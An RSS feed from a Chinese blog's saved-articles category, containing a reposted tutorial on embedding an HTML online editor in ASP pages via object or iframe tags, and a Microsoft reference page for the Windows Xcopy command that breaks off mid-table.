<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>收藏文章</title><link>http://blog.vckbase.com/jim97/category/767.html</link><description>收藏文章</description><managingEditor>木子的blog</managingEditor><dc:language>zh-CHS</dc:language><generator>.Text Version 0.958.2004.214</generator><item><dc:creator>木子的blog</dc:creator><title>html在线编辑器的调用方法---原理和实例</title><link>http://blog.vckbase.com/jim97/articles/23391.html</link><pubDate>Thu, 07 Dec 2006 05:41:00 GMT</pubDate><guid>http://blog.vckbase.com/jim97/articles/23391.html</guid><wfw:comment>http://blog.vckbase.com/jim97/comments/23391.html</wfw:comment><comments>http://blog.vckbase.com/jim97/articles/23391.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://blog.vckbase.com/jim97/comments/commentRss/23391.html</wfw:commentRss><trackback:ping>http://blog.vckbase.com/jim97/services/trackbacks/23391.html</trackback:ping><description>来自51js.com&lt;BR&gt;收藏-2004&lt;BR&gt;HTML在线编辑器不需要懂得使用Dreamweaver，会用Word就会使用此编辑器，在文章系统或者是新闻系统需要文字编辑的web程序中非常实用。&lt;BR&gt;但是如何将html编辑器嵌入到web页中和怎么取得里面的数据呢？！&lt;BR&gt;首先我们假定我们所要调用得HTML在线编辑器放在一个单独得页面中，文件名是gledit.htm上传图片的前台页面：http://www.jfinfo.com/room/admin/img_upload.asp。&lt;BR&gt;HTML在线编辑器有两种基本调用方法&lt;BR&gt;一、使用object调用(http://www.jfinfo.com/room/admin/editor.asp):&lt;BR&gt;1、怎么在web页中嵌入html编辑器： 我们在需要嵌入得位置加入以下html代码：&amp;lt;object id=doc_html data="gledit.htm" width=530 height=320 type=text/x-scriptlet VIEWASTEXT&amp;gt;&amp;lt;/object&amp;gt;&lt;BR&gt;其中object标签里面得data后面接得数据就是我们所要调用得在线编辑器页得路径，id就是我们调用object得id，后面取编辑器中得数据时就要用到这个id。Width和height就是编辑器得高度和宽度了。&lt;BR&gt;2、怎么取得html编辑器中的数据：所有需要提交的内容我们都是放在一个表单里面，同样利用object调用的编辑器也放在这个表单里面，同时我们可以设置一个隐藏的文本区域(&amp;lt;textarea name=d"content" style="display:none"&amp;gt;&amp;lt;/textarea&amp;gt;或&amp;lt;INPUT TYPE="hidden" name="content"&amp;gt;)用以在提交的时候临时保存html在线编辑器的数据，因为在asp或者jsp，php中不能直接获取表单中的object的内容，所以我们必须借助隐藏文本区域来获取数据。我们在表单提交的同时将object里面的内容复制到隐藏的文本区域中。详细代码如下：&lt;BR&gt;&amp;lt;script language="javascript"&amp;gt;&lt;BR&gt;function CheckForm()&lt;BR&gt;{&lt;BR&gt;document.form1.content.value=document.form1.doc_html.value;&lt;BR&gt;}&lt;BR&gt;&amp;lt;/script&amp;gt;&lt;BR&gt;&amp;lt;form method="post" action="add_news_save.asp" onsubmit="CheckForm()" name="form1"&amp;gt;&lt;BR&gt;&amp;lt;object id=doc_html name= doc_html style="LEFT: 0px; TOP: 0px" data=" gledit.htm" width=530 height=320 type=text/x-scriptlet VIEWASTEXT&amp;gt;&amp;lt;/object&amp;gt;&lt;BR&gt;&amp;lt;input type="hidden" name="content" &amp;gt;&lt;BR&gt;&amp;lt;/form&amp;gt;&lt;BR&gt;这样在后台处理的页面中我们就可以直接通过取隐藏区域content的数据来获取html在线编辑器的数据。&lt;BR&gt;3、怎么在文本编辑器中加入上传本机图片到html在线编辑器中：首先我们使得在点击插入图片的按钮时弹出一个上传图片的窗口，我们利用自己写的程序来实现上传本机图片到服务器上，然后我们需要记录图片的路径，然后通过html在线编辑器的值中加入显示图片的html标签。详细说明及代码如下：&lt;BR&gt;在编辑器中我们在插入图片的按钮上加入事件onclick="window.open('img_upload.asp','img_upload','width=481 height=190')"&amp;gt;在'img_upload.asp'中我们将提交的图片上传到服务器制定目录然后记录图片路径&lt;BR&gt;&amp;lt;script language=javascript&amp;gt;&lt;BR&gt;var src='&amp;lt;%="upload/"&amp;amp;newname%&amp;gt;';&lt;BR&gt;opener.form1. doc_html.value +="&amp;lt;img border=0 src="+src+"&amp;gt;";&lt;BR&gt;window.close();&lt;BR&gt;&amp;lt;/script&amp;gt;&lt;BR&gt;这样就实现了简单的将上传的图片插入到编辑器中。&lt;BR&gt;4、怎么在编辑修改文章的时候调用HTML在线编辑器来修改数据：当我们把在添加的时候将HTML在线编辑器来修改数据提交到数据库后我们还需要能将数据库的内容用HTML在线编辑器来修改数据。首先我们在表单中加入一个隐藏区域来放置数据库中的内容，例如&amp;lt;TEXTAREA style="display:none" NAME="content" ROWS="20" COLS="70"&amp;gt;&amp;lt;%= rs("Content")%&amp;gt;&amp;lt;/TEXTAREA&amp;gt;，要注意这里我们用隐藏的textarea而不能用隐藏的input，因为数据里面可能包含了回车换行，所以如果我们使用&amp;lt;INPUT TYPE="hidden" name=content value="&amp;lt;%=(rs("Content")%&amp;gt;"&amp;gt;很可能因为&amp;lt;%=(rs("Content")%&amp;gt;有换行而出现HTML错误（value=后面接的数据必须保证是在一行，否则出错）。然后按照前面介绍的方法使用object调用HTML在线编辑器，方法和代码同上，现在我们要做的其实就是提交时候的逆过程，我们只要将隐藏文本区域的内容复制到HTML在线编辑器就可以了，在这里我们在body里面加上&amp;lt;body onload="document.form1. doc_html.value=document.form1.content.value"&amp;gt;，这样在页面装载完的时候就可以将数据库中的内容放入HTML在线编辑器中编辑了，提交过程和上面介绍的一样，在此就不赘述了。&lt;BR&gt;&lt;BR&gt;二、使用iframe调用（http://qxd.5599.net/by/source/article/manage/gledit.htm ）&lt;BR&gt;1、 怎么在web页中嵌入：我们在需要嵌入得位置加入以下html代码：&amp;lt;IFRAME SRC="gledit.htm" id='content_html' style="LEFT: 0px; POSITION: absolute; TOP: 0px;z-index:0" width="100%" height="100%"&amp;gt;&amp;lt;/IFRAME&amp;gt;其中"src="后面接得数据就是我们所要调用得在线编辑器页得路径，id就是我们调用IFRAME得id，Width和height就是编辑器得高度和宽度了。&lt;BR&gt;2、 怎么取得html编辑器中的数据：同样所有需要提交的内容我们都是放在一个表单里面，同时我们可以设置一个隐藏的文本区域(&amp;lt;textarea name="content" style="display:none"&amp;gt;&amp;lt;/textarea&amp;gt;或&amp;lt;INPUT TYPE="hidden" name="content"&amp;gt;)用以在提交的时候临时保存html在线编辑器的数据，我们借助隐藏文本区域来获取数据。我们在表单提交的同时将object里面的内容复制到隐藏的文本区域中。详细代码如下：&lt;BR&gt;function subchk(cmd)&lt;BR&gt;{&lt;BR&gt;document.form1.content.value= window.content_html.getHTML();&lt;BR&gt;}&lt;BR&gt;&amp;lt;/SCRIPT&amp;gt;&lt;BR&gt;&amp;lt;FORM METHOD=POST ACTION="Article_add_save.gl" name="form1" onsubmit=" subchk()"&amp;gt;&lt;BR&gt;&amp;lt;input type="hidden" name="content" &amp;gt;&lt;BR&gt;&amp;lt;IFRAME SRC="gledit.htm" id='content_html' style="LEFT: 0px; POSITION: absolute; TOP: 0px;z-index:0" width="100%" height="100%"&amp;gt;&amp;lt;/IFRAME&amp;gt;&lt;BR&gt;&amp;lt;/FORM&amp;gt;&lt;BR&gt;在后台处理的页面中我们就可以直接通过取隐藏区域content的数据来获取html在线编辑器的数据。&lt;BR&gt;2、怎么取得html编辑器中的数据：所有需要提交的内容我们都是放在一个表单里面，同样利用object调用的编辑器也放在这个表单里面，同时我们可以设置一个隐藏的文本区域(&amp;lt;textarea name="content" style="display:none"&amp;gt;&amp;lt;/textarea&amp;gt;或&amp;lt;INPUT TYPE="hidden" name="content"&amp;gt;)用以在提交的时候临时保存html在线编辑器的数据，因为在asp或者jsp，php中不能直接获取表单中的object的内容，所以我们必须借助隐藏文本区域来获取数据。我们在表单提交的同时将object里面的内容复制到隐藏的文本区域中。详细代码如下：&lt;BR&gt;&amp;lt;script language="javascript"&amp;gt;&lt;BR&gt;function CheckForm()&lt;BR&gt;{&lt;BR&gt;document.form1.content.value=document.form1.doc_html.value;&lt;BR&gt;}&lt;BR&gt;&amp;lt;/script&amp;gt;&lt;BR&gt;&amp;lt;form method="post" action="add_news_save.asp" onsubmit="CheckForm()" name="form1"&amp;gt;&lt;BR&gt;&amp;lt;object id=doc_html name= doc_html style="LEFT: 0px; TOP: 0px" data=" gledit.htm" width=530 height=320 type=text/x-scriptlet VIEWASTEXT&amp;gt;&amp;lt;/object&amp;gt;&lt;BR&gt;&amp;lt;input type="hidden" name="content" &amp;gt;&lt;BR&gt;&amp;lt;/form&amp;gt;&lt;BR&gt;这样在后台处理的页面中我们就可以直接通过取隐藏区域content的数据来获取html在线编辑器的数据。&lt;BR&gt;3、怎么在文本编辑器中加入上传本机图片到html在线编辑器中：首先我们使得在点击插入图片的按钮时弹出一个上传图片的窗口，我们利用自己写的程序来实现上传本机图片到服务器上，然后我们需要记录图片的路径，然后通过在调用html在线编辑器的web页中写一个函数在光标的位置插入显示图片的html标签。详细说明及代码如下：&lt;BR&gt;在编辑器中我们在插入图片的按钮上加入事件onclick="window.open('img_upload.asp','img_upload','width=481 height=190')"&amp;gt;在调用编辑器的页面中我们定义好插入html代码到编辑器的函数&lt;BR&gt;&amp;lt;script language=javascript&amp;gt;&lt;BR&gt;function insertHtml(HtmlCode)&lt;BR&gt;{&lt;BR&gt;var win=window.content_html.idEditbox.document;//其中编辑区域是gledit.htm中的一个iframe，id是idEditbox&lt;BR&gt;window.content_html.idEditbox.focus();//是编辑器获得焦点，防止代码插入在编辑器外地方&lt;BR&gt;win.selection.createRange().pasteHTML(HtmlCode)//在光标的位置插入html代码&lt;BR&gt;}&lt;BR&gt;&amp;lt;/script&amp;gt;&lt;BR&gt;在处理上传图片的文件中，我们调用父窗口的函数插入html代码&lt;BR&gt;&amp;lt;script language=javascript&amp;gt;&lt;BR&gt;var src='&amp;lt;%=" upload/"&amp;amp;newname%&amp;gt;';&lt;BR&gt;var htmlcodes;&lt;BR&gt;htmlcodes = "&amp;lt;img src='"+src+"' alt='&amp;lt;%=theForm("alt")%&amp;gt;' align='&amp;lt;%=theForm("align")%&amp;gt;' border='&amp;lt;%=theForm("border")%&amp;gt;' hspace='&amp;lt;%=theForm("hspace")%&amp;gt;' vspace='&amp;lt;%=theForm("vspace")%&amp;gt;'&amp;gt;";&lt;BR&gt;opener.insertHtml(htmlcodes)&lt;BR&gt;window.close();&lt;BR&gt;&amp;lt;/script&amp;gt;&lt;BR&gt;这样就实现了简单的将上传的图片插入到编辑器中。&lt;BR&gt;4、 怎么在编辑修改文章的时候调用HTML在线编辑器来修改数据：当我们把在添加的时候将HTML在线编辑器来修改数据提交到数据库后我们还需要能将数据库的内容用HTML在线编辑器来修改数据。首先我们在表单中加入一个隐藏区域来放置数据库中的内容，例如&amp;lt;TEXTAREA style="display:none" NAME="content" ROWS="20" COLS="70"&amp;gt;&amp;lt;%= rs("Content")%&amp;gt;&amp;lt;/TEXTAREA&amp;gt;，在这里我们在调用编辑器的页面中的body标签里面加上&amp;lt;BODY onload="insertHtml(document.form1.content.value)"&amp;gt;其中inserthtml()就是我们定义好插入html代码到编辑器的函数（具体参考插入图片的代码）。这样在页面装载完的时候就可以将数据库中的内容放入HTML在线编辑器中编辑了，提交过程和上面介绍的一样，在此就不赘述了。&lt;img src ="http://blog.vckbase.com/jim97/aggbug/23391.html" width = "1" height = "1" /&gt;</description></item><item><dc:creator>木子的blog</dc:creator><title>Xcopy 命令(如xopy c:\temp d:\c /s/e )</title><link>http://blog.vckbase.com/jim97/articles/20002.html</link><pubDate>Thu, 11 May 2006 03:27:00 GMT</pubDate><guid>http://blog.vckbase.com/jim97/articles/20002.html</guid><wfw:comment>http://blog.vckbase.com/jim97/comments/20002.html</wfw:comment><comments>http://blog.vckbase.com/jim97/articles/20002.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://blog.vckbase.com/jim97/comments/commentRss/20002.html</wfw:commentRss><trackback:ping>http://blog.vckbase.com/jim97/services/trackbacks/20002.html</trackback:ping><description>&lt;H1&gt;Xcopy&lt;/H1&gt;
&lt;DIV class=date&gt;更新日期： 01/21/2005&lt;/DIV&gt;
&lt;DIV style="HEIGHT: 18px"&gt;&lt;/DIV&gt;
&lt;TABLE style="MARGIN-LEFT: 15px" cellSpacing=0 cellPadding=0 width=165 align=right border=0&gt;
&lt;TBODY&gt;
&lt;TR&gt;
&lt;TD&gt;
&lt;TABLE class=containerHeader dir=ltr cellSpacing=0 cellPadding=0 width=165 border=0&gt;
&lt;TBODY&gt;
&lt;TR&gt;
&lt;TD align=left&gt;&lt;IMG title="" height=3 alt=* src="http://img.microsoft.com/library/gallery/templates/MNP2.Common/images/l_corner.gif" width=2 border=0&gt;&lt;/TD&gt;
&lt;TD align=right&gt;&lt;IMG title="" height=3 alt=* src="http://img.microsoft.com/library/gallery/templates/MNP2.Common/images/r_corner.gif" width=2 border=0&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;
&lt;DIV class=sidebarContent style="PADDING-RIGHT: 7px; PADDING-LEFT: 7px; PADDING-BOTTOM: 8px; WIDTH: 165px; PADDING-TOP: 8px"&gt;
&lt;H5&gt;相关链接&lt;/H5&gt;
&lt;TABLE style="MARGIN-TOP: 10px; MARGIN-BOTTOM: -2px" cellSpacing=0 cellPadding=0 border=0&gt;
&lt;TBODY&gt;
&lt;TR vAlign=top&gt;
&lt;TD class=rlBullet&gt;&amp;#8226;&lt;/TD&gt;
&lt;TD class=relatedLink&gt;&lt;A href="http://www.microsoft.com/technet/prodtechnol/windowsserver2003/zh-chs/library/ServerHelp/4b0b8777-8f1b-4f86-a8e9-4b38f1b00064.mspx"&gt;Copy&lt;/A&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR vAlign=top&gt;
&lt;TD class=rlBullet&gt;&amp;#8226;&lt;/TD&gt;
&lt;TD class=relatedLink&gt;&lt;A href="http://www.microsoft.com/technet/prodtechnol/windowsserver2003/zh-chs/library/ServerHelp/64c9abd9-7fa5-4906-9429-9d21c9690248.mspx"&gt;Move&lt;/A&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR vAlign=top&gt;
&lt;TD class=rlBullet&gt;&amp;#8226;&lt;/TD&gt;
&lt;TD class=relatedLink&gt;&lt;A href="http://www.microsoft.com/technet/prodtechnol/windowsserver2003/zh-chs/library/ServerHelp/a6aaf662-4153-4f8c-873e-58d91aedc1ea.mspx"&gt;Dir&lt;/A&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR vAlign=top&gt;
&lt;TD class=rlBullet&gt;&amp;#8226;&lt;/TD&gt;
&lt;TD class=relatedLink&gt;&lt;A href="http://www.microsoft.com/technet/prodtechnol/windowsserver2003/zh-chs/library/ServerHelp/56202570-64a8-424b-8a11-09f5b8584cab.mspx"&gt;Attrib&lt;/A&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR vAlign=top&gt;
&lt;TD class=rlBullet&gt;&amp;#8226;&lt;/TD&gt;
&lt;TD class=relatedLink&gt;&lt;A href="http://www.microsoft.com/technet/prodtechnol/windowsserver2003/zh-chs/library/ServerHelp/ccb0711d-e8ce-4dcd-bc84-d8acebb9d784.mspx"&gt;Diskcopy&lt;/A&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR vAlign=top&gt;
&lt;TD class=rlBullet&gt;&amp;#8226;&lt;/TD&gt;
&lt;TD class=relatedLink&gt;&lt;A href="http://www.microsoft.com/technet/prodtechnol/windowsserver2003/zh-chs/library/ServerHelp/65315b58-33fe-499e-a4cd-5c284a84fc61.mspx"&gt;If&lt;/A&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR vAlign=top&gt;
&lt;TD class=rlBullet&gt;&amp;#8226;&lt;/TD&gt;
&lt;TD class=relatedLink&gt;&lt;A href="http://www.microsoft.com/technet/prodtechnol/windowsserver2003/zh-chs/library/ServerHelp/552ed70a-208d-48c4-8da8-2e27b530eac7.mspx"&gt;命令行参考 A-Z&lt;/A&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR vAlign=top&gt;
&lt;TD class=rlBullet&gt;&amp;#8226;&lt;/TD&gt;
&lt;TD class=relatedLink&gt;&lt;A href="http://www.microsoft.com/technet/prodtechnol/windowsserver2003/zh-chs/library/ServerHelp/44500063-fdaf-4e4f-8dac-476c497a166f.mspx"&gt;Command&lt;/A&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;/DIV&gt;
&lt;TABLE class=containerFooter dir=ltr cellSpacing=0 cellPadding=0 width=165 border=0&gt;
&lt;TBODY&gt;
&lt;TR&gt;
&lt;TD align=left&gt;&lt;IMG title="" height=3 alt=* src="http://img.microsoft.com/library/gallery/templates/MNP2.Common/images/l_b.corner.gif" width=2 border=0&gt;&lt;/TD&gt;
&lt;TD align=right&gt;&lt;IMG title="" height=3 alt=* src="http://img.microsoft.com/library/gallery/templates/MNP2.Common/images/r_b.corner.gif" width=2 border=0&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;A name=EUD&gt;&lt;/A&gt;
&lt;H2&gt;Xcopy&lt;/H2&gt;
&lt;P&gt;复制文件和目录，包括子目录。&lt;/P&gt;
&lt;H3&gt;&lt;/H3&gt;
&lt;H4&gt;&lt;/H4&gt;
&lt;H5&gt;语法&lt;/H5&gt;
&lt;P&gt;&lt;B&gt;xcopy&lt;/B&gt;&lt;I&gt;Source&lt;/I&gt; [&lt;I&gt;Destination&lt;/I&gt;] [&lt;B&gt;/w&lt;/B&gt;] [&lt;B&gt;/p&lt;/B&gt;] [&lt;B&gt;/c&lt;/B&gt;] [&lt;B&gt;/v&lt;/B&gt;] [&lt;B&gt;/q&lt;/B&gt;] [&lt;B&gt;/f&lt;/B&gt;] [&lt;B&gt;/l&lt;/B&gt;] [&lt;B&gt;/g&lt;/B&gt;] [&lt;B&gt;/d&lt;/B&gt;[&lt;B&gt;:&lt;/B&gt;&lt;I&gt;MM-DD-YYYY&lt;/I&gt;]] [&lt;B&gt;/u&lt;/B&gt;] [&lt;B&gt;/i&lt;/B&gt;] [&lt;B&gt;/s&lt;/B&gt; [&lt;B&gt;/e&lt;/B&gt;]] [&lt;B&gt;/t&lt;/B&gt;] [&lt;B&gt;/k&lt;/B&gt;] [&lt;B&gt;/r&lt;/B&gt;] [&lt;B&gt;/h&lt;/B&gt;] [{&lt;B&gt;/a&lt;/B&gt; | &lt;B&gt;/m&lt;/B&gt;}] [&lt;B&gt;/n&lt;/B&gt;] [&lt;B&gt;/o&lt;/B&gt;] [&lt;B&gt;/x&lt;/B&gt;] [&lt;B&gt;/exclude:&lt;/B&gt;&lt;I&gt;FileName1&lt;/I&gt;[&lt;B&gt;+&lt;/B&gt;[&lt;I&gt;FileName2&lt;/I&gt;]][&lt;B&gt;+&lt;/B&gt;[&lt;I&gt;FileName3&lt;/I&gt;]] [{&lt;B&gt;/y&lt;/B&gt; | &lt;B&gt;/-y&lt;/B&gt;}] [&lt;B&gt;/z&lt;/B&gt;]&lt;/P&gt;
&lt;H5&gt;参数&lt;/H5&gt;
&lt;P&gt;&lt;I&gt;Source&lt;/I&gt;&lt;/P&gt;
&lt;P&gt;必需。指定要复制的文件的位置和名称。该参数必须包含驱动器或路径。&lt;/P&gt;
&lt;P&gt;&lt;I&gt;Destination&lt;/I&gt;&lt;/P&gt;
&lt;P&gt;指定要复制的文件的目标。该参数可以包含驱动器号和冒号、目录名、文件名或者它们的组合。&lt;/P&gt;
&lt;P&gt;&lt;B&gt;/w&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;在开始复制文件之前将显示以下消息并等待您的响应：&lt;/P&gt;
&lt;P&gt;&lt;SPAN class=codeSample&gt;Press any key to begin copying file(s) &lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;&lt;B&gt;/p&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;提示您确认是否要创建每个目标文件。&lt;/P&gt;
&lt;P&gt;&lt;B&gt;/c&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;忽略错误。&lt;/P&gt;
&lt;P&gt;&lt;B&gt;/v &lt;/B&gt;&lt;/P&gt;
&lt;P&gt;在写入目标文件时验证每个文件，以确保目标文件与源文件完全相同。&lt;/P&gt;
&lt;P&gt;&lt;B&gt;/q&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;禁止显示&amp;#8220;xcopy&amp;#8221;的消息。&lt;/P&gt;
&lt;P&gt;&lt;B&gt;/f&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;复制时显示源文件名和目标文件名。&lt;/P&gt;
&lt;P&gt;&lt;B&gt;/l&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;显示要复制的文件列表。&lt;/P&gt;
&lt;P&gt;&lt;B&gt;/g&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;创建已解密的目标文件。&lt;/P&gt;
&lt;P&gt;&lt;B&gt;/d&lt;/B&gt; [&lt;B&gt;:&lt;/B&gt;&lt;I&gt;MM&lt;/I&gt;-&lt;I&gt;DD&lt;/I&gt;-&lt;I&gt;YYYY&lt;/I&gt;] &lt;/P&gt;
&lt;P&gt;只复制那些在指定日期或指定日期之后更改过的源文件。如果不包括&amp;#8220;MM-DD-YYYY&amp;#8221;值，&amp;#8220;xcopy&amp;#8221;会复制比现有&amp;#8220;Destination&amp;#8221;文件新的所有&amp;#8220;Source&amp;#8221;文件。该命令行选项使您可以更新更改过的文件。&lt;/P&gt;
&lt;P&gt;&lt;B&gt;/u&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;只从&amp;#8220;Source&amp;#8221;复制&amp;#8220;Destination&amp;#8221;中已有的文件。&lt;/P&gt;
&lt;P&gt;&lt;B&gt;/i&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;如果&amp;#8220;Source&amp;#8221;是一个目录或包含通配符，而&amp;#8220;Destination&amp;#8221;不存在，&amp;#8220;xcopy&amp;#8221;会假定&amp;#8220;destination&amp;#8221;指定目录名并创建一个新目录。然后，&amp;#8220;xcopy&amp;#8221;会将所有指定文件复制到新目录中。默认情况下，&amp;#8220;xcopy&amp;#8221;将提示您指定&amp;#8220;Destination&amp;#8221;是文件还是目录。&lt;/P&gt;
&lt;P&gt;&lt;B&gt;/s&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;复制非空的目录和子目录。如果省略&amp;#8220;/s&amp;#8221;，则&amp;#8220;xcopy&amp;#8221;将在单个目录中工作。&lt;/P&gt;
&lt;P&gt;&lt;B&gt;/e&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;复制所有子目录，包括空目录。将&amp;#8220;/e&amp;#8221;与&amp;#8220;/s&amp;#8221;和&amp;#8220;/t&amp;#8221;命令行选项一起使用。&lt;/P&gt;
&lt;P&gt;&lt;B&gt;/t&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;只复制子目录结构（即目录树），不复制文件。要复制空目录，必须包含&amp;#8220;/e&amp;#8221;命令行选项。&lt;/P&gt;
&lt;P&gt;&lt;B&gt;/k&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;复制文件，如果源文件具有只读属性，则在目标文件中保留该属性。默认情况下，&amp;#8220;xcopy&amp;#8221;将删除只读属性。&lt;/P&gt;
&lt;P&gt;&lt;B&gt;/r&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;复制只读文件。&lt;/P&gt;
&lt;P&gt;&lt;B&gt;/h&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;复制具有隐藏和系统文件属性的文件。默认情况下，&amp;#8220;xcopy&amp;#8221;不复制隐藏或系统文件。&lt;/P&gt;
&lt;P&gt;&lt;B&gt;/a&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;只复制那些具有存档文件属性设置的源文件。&amp;#8220;/a&amp;#8221;不修改源文件的存档文件属性。有关如何通过使用&amp;#8220;attrib&amp;#8221;来设置存档文件属性的信息，请参阅&amp;#8220;相关主题&amp;#8221;。&lt;/P&gt;
&lt;P&gt;&lt;B&gt;/m&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;复制具有存档文件属性设置的源文件。与&amp;#8220;/a&amp;#8221;不同，&amp;#8220;/m&amp;#8221;关闭在源中指定的文件的存档文件属性。有关如何通过使用&amp;#8220;attrib&amp;#8221;来设置存档文件属性的信息，请参阅&amp;#8220;相关主题&amp;#8221;。&lt;/P&gt;
&lt;P&gt;&lt;B&gt;/n&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;使用 NTFS 短文件或目录名创建副本。将文件或目录从 NTFS 卷复制到 FAT 卷或者当目标文件系统需要 FAT 文件系统命名约定（即 8.3 字符）时，需要&amp;#8220;/n&amp;#8221;。目标文件系统可以是 FAT 或 NTFS。&lt;/P&gt;
&lt;P&gt;&lt;B&gt;/o&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;复制文件所有权与随机访问控制列表 (DACL) 信息。&lt;/P&gt;
&lt;P&gt;&lt;B&gt;/x&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;复制文件审核设置和系统访问控制列表 (SACL) 信息（包含&amp;#8220;/o&amp;#8221;）。&lt;/P&gt;
&lt;P&gt;&lt;B&gt;/exclude:&lt;/B&gt;&lt;I&gt;FileName1&lt;/I&gt;[+[ &lt;I&gt;FileName2&lt;/I&gt;]][+[&lt;I&gt;FileName3&lt;/I&gt;]] &lt;/P&gt;
&lt;P&gt;指定包含字符串的文件列表。&lt;/P&gt;
&lt;P&gt;&lt;B&gt;/y&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;禁止提示确认要覆盖已存在的目标文件。&lt;/P&gt;
&lt;P&gt;&lt;B&gt;/-y&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;提示您确认要覆盖已存在的目标文件。&lt;/P&gt;
&lt;P&gt;&lt;B&gt;/z&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;在可重启模式中通过网络复制。&lt;/P&gt;
&lt;P&gt;&lt;B&gt;/?&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;在命令提示符显示帮助。&lt;/P&gt;
&lt;H5&gt;注释&lt;/H5&gt;
&lt;TABLE cellSpacing=0 cellPadding=0 border=0&gt;
&lt;TBODY&gt;
&lt;TR&gt;
&lt;TD class=listBullet vAlign=top&gt;&amp;#8226;&lt;/TD&gt;
&lt;TD class=listItem&gt;
&lt;P&gt;使用&amp;#8220;/v&amp;#8221;&lt;/P&gt;
&lt;P&gt;Windows&amp;nbsp;XP 和 Windows Server&amp;nbsp;2003 家族产品不使用该命令。只为了与现有的 MS-DOS 文件保持兼容性才包含此命令，但是因为其功能是自动实现的，所以在命令行使用时不起作用。 &lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
&lt;TD class=listBullet vAlign=top&gt;&amp;#8226;&lt;/TD&gt;
&lt;TD class=listItem&gt;
&lt;P&gt;使用&amp;#8220;/exclude&amp;#8221;&lt;/P&gt;
&lt;P&gt;在每个文件的单独一行中的列出每个字符串。如果列出的任何字符串与要复制的文件的绝对路径的任何部分匹配，就从复制进程排除该文件。例如，如果指定字符串 "\Obj\"，则会排除 Obj 目录下的所有文件。如果指定字符串 ".obj"，则排除具有 .obj 扩展名的所有文件。&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
&lt;TD class=listBullet vAlign=top&gt;&amp;#8226;&lt;/TD&gt;
&lt;TD class=listItem&gt;
&lt;P&gt;使用&amp;#8220;/z&amp;#8221;&lt;/P&gt;
&lt;P&gt;如果在复制过程中丢失连接（例如，如果用于连接的服务器脱机），复制过程将在重新建立连接后恢复。&amp;#8220;/z&amp;#8221;也显示每个文件完成的复制操作的百分比。&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
&lt;TD class=listBullet vAlign=top&gt;&amp;#8226;&lt;/TD&gt;
&lt;TD class=listItem&gt;
&lt;P&gt;在 COPYCMD 环境变量中使用&amp;#8220;/y&amp;#8221; &lt;/P&gt;
&lt;P&gt;可在 COPYCMD 环境变量中使用&amp;#8220;/y&amp;#8221;。在命令行上使用&amp;#8220;/-y&amp;#8221;可以覆盖该命令。默认情况下，会提示您覆盖，除非您从批处理脚本内运行&amp;#8220;copy&amp;#8221;。&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
&lt;TD class=listBullet vAlign=top&gt;&amp;#8226;&lt;/TD&gt;
&lt;TD class=listItem&gt;
&lt;P&gt;复制加密的文件 &lt;/P&gt;
&lt;P&gt;将加密文件复制到不支持 EFS 的卷会导致错误。应首先解密文件或将文件复制到支持 EFS 的卷中。&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
&lt;TD class=listBullet vAlign=top&gt;&amp;#8226;&lt;/TD&gt;
&lt;TD class=listItem&gt;
&lt;P&gt;追加文件 &lt;/P&gt;
&lt;P&gt;要追加文件，请指定单个目标文件，多个源文件（使用通配符或 file1+file2+file3 格式）。&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
&lt;TD class=listBullet vAlign=top&gt;&amp;#8226;&lt;/TD&gt;
&lt;TD class=listItem&gt;
&lt;P&gt;&amp;#8220;Destination&amp;#8221;的默认值&lt;/P&gt;
&lt;P&gt;如果省略&amp;#8220;Destination&amp;#8221;，则&amp;#8220;xcopy&amp;#8221;命令将文件复制到当前目录。 &lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
